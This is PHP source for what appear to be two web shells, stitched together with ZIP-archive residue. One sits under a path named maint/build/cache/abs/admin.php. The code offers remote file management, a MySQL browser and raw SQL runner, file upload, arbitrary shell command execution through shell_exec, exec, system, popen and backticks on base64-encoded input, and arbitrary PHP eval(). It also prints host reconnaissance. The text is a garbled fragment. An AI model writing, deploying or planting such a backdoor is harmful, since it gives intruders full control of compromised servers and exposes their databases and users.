'; print '
'; print '$'; print ''; print ''; print '
'; print '
'; } else if($awal=="baca_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "") { $namaBerkas = basename(uraikan($_POST['fayl'])); $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { $elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? " onclick='navigate(\"awal\", \"edit_file\", \"fayl\", \"" . kunci($namaBerkas) . "\", \"berkas\", \"" . kunci($default_dir) . "\")'" : " disabled"; print "
File Name: " . htmlspecialchars($namaBerkas) . "
"; print "
" . highlight_string(file_get_contents($default_dir . $pemisah . $namaBerkas), true) . "
"; } } else if ($awal == 'edit_db_form') { $db_sidebar_content = ''; // To capture sidebar for later display ob_start(); try { if (!isset($_POST['t'], $_POST['pk_val'])) { throw new Exception("Missing table or primary key."); } $tableName = uraikan($_POST['t']); $pk_val = uraikan($_POST['pk_val']); $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; if(empty($host) || empty($database)) { throw new Exception("Database connection not established."); } $pdo = new PDO('mysql:host=' . $host . ';dbname=' . $database . ';charset=utf8', $user, $sandi); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // --- RENDER SIDEBAR (for context) --- $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata')->fetchAll(); echo '
'; echo '
'; echo '

Databases

'; echo '
    '; foreach($schematas as $schema) { $schemaName = $schema['schema_name']; $activeClass = ($database == $schemaName) ? 'class="active"' : ''; echo "
  • {$schemaName}
  • "; } echo '
'; $tablesStmt = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tablesStmt->execute(array($database)); $tables = $tablesStmt->fetchAll(); echo '

Tables

'; echo '
'; // End sidebar $db_sidebar_content = ob_get_clean(); // Capture sidebar and restart buffer ob_start(); // --- RENDER MAIN CONTENT (THE FORM) --- $cols_stmt = $pdo->query("DESCRIBE `{$tableName}`"); $columns_info = $cols_stmt->fetchAll(PDO::FETCH_ASSOC); $pk_col = $columns_info[0]['Field']; $stmt = $pdo->prepare("SELECT * FROM `{$tableName}` WHERE `{$pk_col}` = ?"); $stmt->execute([$pk_val]); $row_data = $stmt->fetch(PDO::FETCH_ASSOC); if (!$row_data) { throw new Exception("Row not found."); } echo '
'; echo '

Editing row in ' . htmlspecialchars($tableName) . '

'; echo '
'; echo ''; echo ''; echo ''; foreach($columns_info as $col) { $colName = $col['Field']; $colType = strtolower($col['Type']); $value = htmlspecialchars(isset($row_data[$colName]) ? $row_data[$colName] : ''); echo '
'; echo ''; $isReadOnly = ($colName == $pk_col); $readOnlyAttr = $isReadOnly ? ' readonly style="background-color: #444;"' : ''; if (strpos($colType, 'text') !== false || (strpos($colType, 'varchar') !== false && intval(preg_replace('/[^0-9]/', '', $colType)) > 255)) { echo ''; } else { echo ''; } echo '
'; } $halaman = isset($_POST['halaman']) ? $_POST['halaman'] : '1'; $current_table_encoded = $_POST['t']; echo '
'; echo ''; echo 'Cancel'; echo '
'; echo '
'; echo '
'; // End db-content } catch (Exception $e) { echo '
Error: ' . $e->getMessage() . '
'; } $db_main_content = ob_get_clean(); echo $db_sidebar_content . $db_main_content . '
'; // Combine and close container } else if($awal == 'skl') { // 1. Get all potential values from cookies and POST $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; // 2. Override with POST data if it exists for the current request if (isset($_POST['host'])) { $host_val = trim($_POST['host']) === '' ? 'localhost' : $_POST['host']; $host = $host_val; $user = $_POST['user']; $sandi = $_POST['sandi']; $database = ''; // Reset database on new connection } if (isset($_POST['database'])) { $database = $_POST['database']; } ?> "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $schematas = $pdo->query('SELECT schema_name FROM information_schema.schemata')->fetchAll(); echo '
'; // Sidebar echo '
'; echo '

Databases

'; echo '
    '; foreach($schematas as $schema) { $schemaName = $schema['schema_name']; $activeClass = ($database == $schemaName) ? 'class="active"' : ''; echo "
  • {$schemaName}
  • "; } echo '
'; if(!empty($database)) { $tablesStmt = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tablesStmt->execute(array($database)); $tables = $tablesStmt->fetchAll(); echo '

Tables

'; echo '
    '; $currentTable = isset($_POST['t']) ? uraikan($_POST['t']) : ''; foreach($tables as $table) { $tableName = $table['table_name']; $activeClass = ($currentTable == $tableName) ? 'class="active"' : ''; echo "
  • " . htmlspecialchars($tableName) . "
  • "; } echo '
'; } echo '
'; // End Sidebar // Main Content echo '
'; if(empty($database)) { echo "Select a database from the sidebar to begin."; } else { if(isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t'])) { $tableName = uraikan($_POST['t']); echo '
'; echo 'Table: ' . htmlspecialchars($tableName) . ' ( Export Table | Export Database )'; $dataCountQuery = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`'); $dataCount = (int)$dataCountQuery->fetchColumn(); echo '
Rows: ' . $dataCount; echo '
'; $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($database, $tableName)); $columns = $getColumns->fetchAll(PDO::FETCH_COLUMN); if($columns) { $pages = ceil($dataCount / 100); $currentPage = isset($_POST['halaman']) && is_numeric($_POST['halaman']) && $_POST['halaman'] >= 1 && $_POST['halaman'] <= $pages ? (int)$_POST['halaman'] : 1; $start = 100 * ($currentPage - 1); $dataQuery = $pdo->query('SELECT * FROM `' . $tableName . '` LIMIT ' . $start . ' , 100'); $data = $dataQuery->fetchAll(); echo '
'; echo ''; foreach($columns AS $columnName) { echo ''; } echo ''; echo ''; foreach($data AS $row) { $pkValue = htmlspecialchars(reset($row)); $pkValueEncoded = kunci($pkValue); echo ''; foreach($row AS $val) { echo ''; } echo ''; echo ''; } echo '
' . htmlspecialchars($columnName) . 'Actions
' . htmlspecialchars($val) . '
Edit
'; if ($pages > 1) { echo ''; } } else { echo "Table not found!"; } } else if(isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr'])) { $emr = uraikan($_POST['emr']); echo '
SQL Query Result:
' . htmlspecialchars($emr) . '
'; $dataQuery = $pdo->query($emr); if ($dataQuery) { $data = $dataQuery->fetchAll(); if (count($data) > 0) { echo '
'; echo ''; foreach($data[0] as $key => $val) { echo ''; } echo ''; foreach($data as $row) { echo ''; foreach($row as $val) { echo ''; } echo ''; } echo '
' . htmlspecialchars($key) . '
' . htmlspecialchars($val) . '
'; } else { echo "Query executed successfully, but returned no results."; } } else { echo "Error executing query: " . htmlspecialchars($pdo->errorInfo()[2]) . ""; } } else { echo "Select a table from the sidebar to view its content."; } // SQL Editor echo '
'; echo '

SQL Query

'; echo ''; echo ''; echo '
'; } echo '
'; // End Content echo '
'; // End Container } catch (Exception $e) { echo '
Connection failed: ' . $e->getMessage() . '
'; } } } else if($awal=="edit_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "") { $namaBerkas = basename(uraikan($_POST['fayl'])); $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { $status = ""; if(isset($_POST['content'], $_POST['took']) && $_POST['took'] != "" && isset($_SESSION['ys_took']) && $_SESSION['ys_took'] == $_POST['took']) { unset($_SESSION['ys_took']); $content = $_POST['content']; $targetFile = $default_dir . $pemisah . $namaBerkas; $save_success = false; $used_method = ''; // 0. Coba ubah permission dulu agar writable @chmod($targetFile, 0644); // --- METODE 1: Standard PHP --- if (!$save_success && file_put_contents($targetFile, $content) !== false) { $save_success = true; $used_method = 'file_put_contents'; } // --- METODE 2: Fopen/Fwrite (Stream) --- if (!$save_success) { $fp = @fopen($targetFile, 'w'); if ($fp) { if (@fwrite($fp, $content) !== false) { $save_success = true; $used_method = 'fwrite'; } @fclose($fp); } } // --- METODE 3: Tulis ke TMP lalu Pindah (Bypass Permission/Lock) --- if (!$save_success) { $tmp_file = tempnam(sys_get_temp_dir(), 'edit_'); if (@file_put_contents($tmp_file, $content) !== false) { // 3a. Rename/Move PHP if (@rename($tmp_file, $targetFile)) { $save_success = true; $used_method = 'rename_tmp'; } // 3b. Copy PHP elseif (@copy($tmp_file, $targetFile)) { $save_success = true; $used_method = 'copy_tmp'; } // 3c. System Command (cp/mv/cat) else { $cmd_run = function($c) { if(function_exists('shell_exec')){ @shell_exec($c); return true; } if(function_exists('exec')){ @exec($c); return true; } if(function_exists('system')){ @system($c); return true; } if(function_exists('passthru')){ @passthru($c); return true; } if(function_exists('popen')){ $p=@popen($c,'r'); if($p){pclose($p);return true;} } return false; }; $c_cp = "cp " . escapeshellarg($tmp_file) . " " . escapeshellarg($targetFile); $c_mv = "mv " . escapeshellarg($tmp_file) . " " . escapeshellarg($targetFile); $c_cat = "cat " . escapeshellarg($tmp_file) . " > " . escapeshellarg($targetFile); if ($cmd_run($c_cp)) { $save_success = true; $used_method = 'exec_cp'; } elseif ($cmd_run($c_mv)) { $save_success = true; $used_method = 'exec_mv'; } elseif ($cmd_run($c_cat)) { $save_success = true; $used_method = 'exec_cat'; } } @unlink($tmp_file); // Hapus file sampah } } // --- VERIFIKASI ANTI-0KB --- // Jika konten asli tidak kosong, tapi hasil di server 0 byte, maka anggap gagal. clearstatcache(); if ($save_success && strlen($content) > 0 && (!file_exists($targetFile) || filesize($targetFile) === 0)) { $save_success = false; $status = " Saved via {$used_method} but result is 0kb (Write Failed)."; } elseif ($save_success) { $status = " Saved successfully via {$used_method}!"; } else { $status = " Failed to save using all methods. Check Permission/Disk Space."; } } $oxuUrl = "?awal=baca_file&fayl=" . kunci($namaBerkas) . "&berkas=" . kunci($default_dir); $elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? "" : " disabled"; ?>
File Name:
" name="took">
$element, 'is_dir' => $is_dir, 'type_prefix' => $is_dir ? '0' : '1' ]; } // Sort folders first, then files usort($items, function($a, $b){ if ($a['name'] === '.') return -1; if ($b['name'] === '.') return 1; if ($a['name'] === '..') return -1; if ($b['name'] === '..') return 1; if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; return strcasecmp($a['name'], $b['name']); }); echo '
'; echo ""; foreach($items AS $item) { $element = $item['name']; $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : ""; $fileNamaLengkap = $default_dir . $pemisah . $element; $isWriteable = is_writable($fileNamaLengkap); $permissionsColor = $isWriteable ? "#00FF00" : "#FF0000"; $currentPerms = substr(sprintf('%o', @fileperms($fileNamaLengkap)), -4); print ''; } echo "
FileSizeDateOwner/GroupPermissionsActions
'; if($item['is_dir']) { print ''; $navPath = ''; if ($element == '..') { $navPath = kunci(dirname($default_dir)); } else { $navPath = kunci($fileNamaLengkap); } print '' . htmlspecialchars($element) . ''; } else { print ''; print '' . htmlspecialchars($element) . ''; } print ' ' . sizeFormat(@filesize($fileNamaLengkap)) . ' ' . (date('d M Y, H:i', @filemtime($fileNamaLengkap))) . ' '; if(function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = @posix_getpwuid(@fileowner($fileNamaLengkap)); $group = @posix_getgrgid(@filegroup($fileNamaLengkap)); echo htmlspecialchars((isset($owner['name']) ? $owner['name'] : 'N/A')) . '/' . htmlspecialchars((isset($group['name']) ? $group['name'] : 'N/A')); } else { echo 'N/A'; } print ' ' . $currentPerms . ' '; if(is_file($fileNamaLengkap)) { print (' | ') . (' | ') . (' | ') . (' '); } else if($element != '.' && $element != '..') { print (' | ') . (' '); } print '
"; } else { echo '
'; print ""; echo "
Permission denied!
"; } } } ?>
PK'\C}Q}Qmaint/build/cache/abs/admin.phpnu6$ array('pipe', 'w')), $pipes); $output = stream_get_contents($pipes[1]); $return_var = proc_close($process); break; case 'popen': $handle = popen($command, 'r'); $output = stream_get_contents($handle); $return_var = pclose($handle); break; case 'pcntl_exec': break; case 'backtick': $output = `$command`; $return_var = strlen($output); // backtick operator doesn't provide a return_var break; } // If the command was executed successfully, break out of the loop //echo "Command: $command\n
"; if ( (is_array($output) && count($output) > 0) || (!is_array($output) && strlen($output) > 0 ) ){ echo "Command: $command\n
"; echo "used Exxecution Method: $method\n
"; $_SESSION["method"] = $method; break; } } return $output; } function createDirectoryLinks($directory) { $sections = explode(DIRECTORY_SEPARATOR, $directory); $currentPath = ''; $links = ''; foreach ($sections as $section) { if (!empty($section)) { $currentPath .= DIRECTORY_SEPARATOR . $section; $links .= DIRECTORY_SEPARATOR ."" . $section . ""; } } return $links; } function getFilePermissionsString($itemPath) { $permissions = fileperms($itemPath); // Get the file type $fileType = ''; if (is_dir($itemPath)) { $fileType = 'd'; } elseif (is_link($itemPath)) { $fileType = 'l'; } else { $fileType = '-'; } // Convert integer permissions to string representation $permissionString = $fileType; // Owner permissions $permissionString .= ($permissions & 0x0100) ? 'r' : '-'; $permissionString .= ($permissions & 0x0080) ? 'w' : '-'; $permissionString .= ($permissions & 0x0040) ? (($permissions & 0x0800) ? 's' : 'x') : (($permissions & 0x0800) ? 'S' : '-'); // Group permissions $permissionString .= ($permissions & 0x0020) ? 'r' : '-'; $permissionString .= ($permissions & 0x0010) ? 'w' : '-'; $permissionString .= ($permissions & 0x0008) ? (($permissions & 0x0400) ? 's' : 'x') : (($permissions & 0x0400) ? 'S' : '-'); // Others permissions $permissionString .= ($permissions & 0x0004) ? 'r' : '-'; $permissionString .= ($permissions & 0x0002) ? 'w' : '-'; $permissionString .= ($permissions & 0x0001) ? (($permissions & 0x0200) ? 't' : 'x') : (($permissions & 0x0200) ? 'T' : '-'); return $permissionString; } function getGroupInfo($path) { $gid = filegroup($path); $groupInfo = array(); if (file_exists('/etc/group')) { $handle = fopen('/etc/group', 'r'); while (($line = fread($handle, 1024)) !== false) { $fields = explode(':', $line); if ($fields[2] == $gid) { $groupInfo['name'] = $fields[0]; break; } } fclose($handle); } return $groupInfo['name']; } function getOwnerInfo($path,$isuname = false) { if(fileowner("..") == fileowner($path)){ $isuname = true; } $uid = fileowner($path); $userInfo = array(); if (function_exists('getpwuid')) { $userInfo = getpwuid($uid); return $userInfo['name']; } else { // Fallback method using script path $scriptPath = __FILE__; // Get the current script path if ($isuname && strpos($scriptPath, '/home/') !== false) { $owner = substr($scriptPath, strpos($scriptPath, '/home/') + 6); $owner = substr($owner, 0, strpos($owner, '/')); return $owner; } else { // Default fallback $userInfo['name'] = 'User_' . $uid; return $userInfo['name']; } } } // Fetch directory listing using ls -liah command function getDirectoryListing($directory) { $directoryContents = scandir($directory); $lsOutput = ""; $directories = array(); $files = array(); $x = 0; foreach ($directoryContents as $item) { $x++; $itemPath = $directory . '/' . $item; $itemInfo = pathinfo($itemPath); $permissions = getFilePermissionsString($itemPath); $owner = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner($itemPath))['name'] : getOwnerInfo($itemPath); $group = (function_exists('posix_getgrgid')) ? posix_getgrgid(filegroup($itemPath))['name'] : getGroupInfo($itemPath); $size = filesize($itemPath); if ($size < 1024) { $sString = $size . " B"; } elseif ($size < 1048576) { $sString = round($size / 1024, 2) . " KB"; } elseif ($size < 1073741824) { $sString = round($size / 1048576, 2) . " MB"; } else { $sString = round($size / 1073741824, 2) . " GB"; } $sString = str_replace(" ", "", $sString); //echo "[[$sString]]"; $modifiedTime = date('Y-m-d H:i:s', filemtime($itemPath)); if(substr($permissions, 0, 1)=="d"){ $item = "[$item]"; } $line = sprintf( "%d[+]%s[+]%s[+]%s[+]%s[+]%s[+]%s", $x, $item, $owner, $group, $sString, $permissions, $modifiedTime ); if(substr($permissions, 0, 1)=="d"){ $directories[] = $line; }else{ $files[] = $line; } } $lsOutput = implode("\n", $directories); $lsOutput .= "\n".implode("\n", $files); return $lsOutput; } function forceDownload($filePath) { if (file_exists($filePath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($filePath) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit; } } echo << td, tr{ font-size: small; } body { font-family: Arial, sans-serif; background-color: #1a1d23; color: #fff; padding: 20px; margin: 0; box-sizing: border-box; } h1, h2, h3, h4, h5, h6 { color: #fff; margin-bottom: 10px; } h1 { font-size: 36px; } h2, .underlink { font-size: 24px; } h3 { font-size: 18px; } h4, div { font-size: 16px; } h5 { font-size: 14px; } h6 { font-size: 12px; } p { font-size: 16px; margin-bottom: 20px; } a { color: #fff; text-decoration: none; transition: color 0.2s ease; } a:hover { color: #ccc; } table { border-collapse: collapse; width: 100%; margin-bottom: 20px; } th, td { border: 1px solid #333; padding: 10px; text-align: left; } th { background-color: #333; color: #fff; } td { border-color: #333; } tr:nth-child(even) { background-color: #333; } tr:nth-child(odd) { background-color: #444; } tr:hover { background-color: #555; } tr:hover td { background-color: #666; } tr:hover th { background-color: #777; } button { background-color: #333; color: #fff; border: none; padding: 10px 20px; font-size: 16px; cursor: pointer; } button:hover { background-color: #444; } input[type="text"] { padding: 10px; border: 1px solid #333; width: 30%; font-size: 16px; } input[type="submit"] { background-color: #333; color: #fff; border: none; padding: 10px 20px; font-size: 16px; cursor: pointer; } input[type="submit"]:hover { background-color: #444; } head; // PHP version echo "PHP Version: " . phpversion() . "
"; // Linux version $linuxVersion = php_uname('a'); echo "Linux Version: " . $linuxVersion . "
"; // Uname $uname = php_uname('s'); echo "Uname: " . $uname . "
"; // User $user = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner(".."))['name'] : getOwnerInfo("..", true); echo "User: " . $user . "
"; // Hostname $hostname = gethostname(); echo "Hostname: " . $hostname . "
"; // Disabled PHP functions $disabledFunctions = ini_get('disable_functions'); echo "Disabled PHP Functions: " . $disabledFunctions . "
"; // Initialize array to store previous working directories if (!isset($_SESSION['prevDirs'])) { $_SESSION['prevDirs'] = []; } // Set default working directory $workingDir = isset($_SESSION['workingDir']) ? $_SESSION['workingDir'] : __DIR__; // Handle change of working directory if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["newdir"])) { $newDir = $_POST["newdir"]; if (is_dir($newDir)) { // Check if the new directory is already in previous directories if (!in_array($newDir, $_SESSION['prevDirs'])) { $_SESSION['prevDirs'][] = $workingDir; } $workingDir = realpath($newDir); $_SESSION['workingDir'] = $workingDir; } else { echo "Invalid directory!"; } } // Handle file upload if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["file"])) { $uploadDir = $workingDir . '/'; $uploadFile = $uploadDir . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) { echo "File uploaded successfully.\n"; } else { echo "Error uploading file.\n"; } } // Execute command if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["command"])) { chdir($workingDir); //$commandOutput = exCommand('/bin/cd ' . escapeshellarg($workingDir) . ' && ' . $_POST["command"]); $commandOutput = exCommand(base64_decode($_POST["command"])); if(is_array($commandOutput)){ echo implode("\n
", $commandOutput); }else{ echo "
$commandOutput
"; } } // Handle file actions and directory listing // Handle file actions and directory listing if (isset($_GET['action']) && isset($_GET['filename'])) { $action = $_GET['action']; $filename = $_GET['filename']; switch ($action) { case 'E': // Edit file action $filePath = $workingDir . '/' . $filename; if (is_file($filePath)) { if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["file_content"])) { // Save file content if form is submitted $fileContent = $_POST["file_content"]; if (file_put_contents($filePath, $fileContent) !== false) { echo "File saved successfully: $filename"; } else { echo "Error saving file: $filename"; } } else { // Display file content in form for editing $fileContent = file_get_contents($filePath); $fileContentSafe = htmlspecialchars($fileContent); echo "

Edit File: $filename

"; echo "
"; echo "
"; echo ""; echo "
"; } } else { echo "File not found: $filename"; } break; case 'Del': // Delete file action $filePath = $workingDir . '/' . $filename; if (is_file($filePath)) { if (unlink($filePath)) { echo "File deleted successfully: $filename"; } else { echo "Error deleting file: $filename"; } } else { echo "File not found: $filename"; } break; case 'Dow': // Download file action $filePath = $workingDir . '/' . $filename; if (is_file($filePath)) { forceDownload($filePath); } else { echo "File not found: $filename"; } break; case 'R': // Handle rename file action if (isset($_GET['action']) && $_GET['action'] === 'R') { $filename = isset($_GET['filename']) ? $_GET['filename'] : ''; $newname = isset($_GET['newname']) ? $_GET['newname'] : 'new'; if (!empty($filename)) { // Implement your logic for renaming file here rename($filename, $newname); echo "renamed successfully from $filename to $newname"; } } break; default: echo "Invalid action."; break; } } // Include the current working directory in the list of previous directories if it's not already listed if (!in_array($workingDir, $_SESSION['prevDirs'])) { $_SESSION['prevDirs'][] = $workingDir; } // Update working directory if a previous directory link is clicked if (isset($_GET['newdir'])) { $newDir = $_GET['newdir']; if (in_array($newDir, $_SESSION['prevDirs'])) { $workingDir = $newDir; $_SESSION['workingDir'] = $workingDir; } } // Get the directory listing $lsOutput = getDirectoryListing($workingDir); // Display directory listing in a table with single-line borders $wd = __DIR__; echo "

Contents of ".createDirectoryLinks($workingDir).": [Home Dir]

"; // Get the current page number from the URL $currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1; // Set the number of entries per page $entriesPerPage = 30; // Split the $fileLines array into pages $fileLinePages = array_chunk(explode("\n", $lsOutput), $entriesPerPage); // Display the current page echo ""; foreach ($fileLinePages[$currentPage - 1] as $index => $line) { // Skip empty lines if (empty(trim($line))) continue; $columns = explode("[+]", $line);//preg_split('/\s+/', $line, -1, PREG_SPLIT_NO_EMPTY); echo ""; foreach ($columns as $colIndex => $column) { if ($colIndex == count($columns) - 1) { // Last column (filename) echo ""; if ($index >= 0) { // Actions for subsequent rows //echo $columns[5]; if (substr($columns[5], 0, 1) != 'd') { // If not a directory, include actions echo '"; } elseif($columns[1]=="[.]" || $columns[1]=="[..]"){ echo ''; }else{ $dirName = str_replace("[", "", $columns[1]); $dirName = str_replace("]", "", $dirName); echo '"; } } } else { // Other columns if(substr($column[0], 0, 1) == '['){ //make it clickable to change directory $dirName = str_replace("[", "", $column); $dirName = str_replace("]", "", $dirName); if($dirName==".."){ $dirName = getUpperDirectory($workingDir); }elseif($dirName !="."){ $dirName = $workingDir."/".$dirName; } if ($dirName=="."){ echo ""; }else{ echo ""; } }else{ echo ""; } } } echo ""; } echo "
$column'; echo "  E | "; echo "Del | "; echo "Dow | "; echo "R  "; echo " '; echo "Download | "; echo "Rename  "; echo "[.]$column$column
"; // Display pagination links echo "
"; // Calculate total pages and current page range $totalPages = count($fileLinePages); $currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1; $range = 11; // Number of pages to show before and after the current page // Display previous ten pages link if ($currentPage > $range) { echo "< "; } else { echo "< "; } // Display page numbers for ($page = max(1, $currentPage - $range); $page <= min($totalPages, $currentPage + $range); $page++) { echo "$page "; } // Display next ten pages link if ($currentPage + $range < $totalPages) { echo "next ten>> "; } else { echo "next ten>> "; } echo "(total pages: $totalPages)"; echo "


"; // Change Working Directory form echo "
"; echo ""; echo ""; echo ""; echo "
"; // Upload form echo "

Upload a File

"; echo "
"; echo ""; echo ""; echo "
"; // Command Execution form echo "

Execute Command

"; echo "
"; echo ""; echo ""; echo ""; echo "
"; // PHP Eval form echo "

Evaluate PHP Code

"; echo "
"; echo ""; echo ""; echo ""; echo "
"; if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["php_code"])) { $phpCode = $_POST["php_code"]; try { ob_start(); eval($phpCode); $output = ob_get_clean(); echo "

Output:

"; echo "
$output
"; } catch (Exception $e) { echo "

Error:

"; echo "
" . $e->getMessage() . "
"; } } echo <<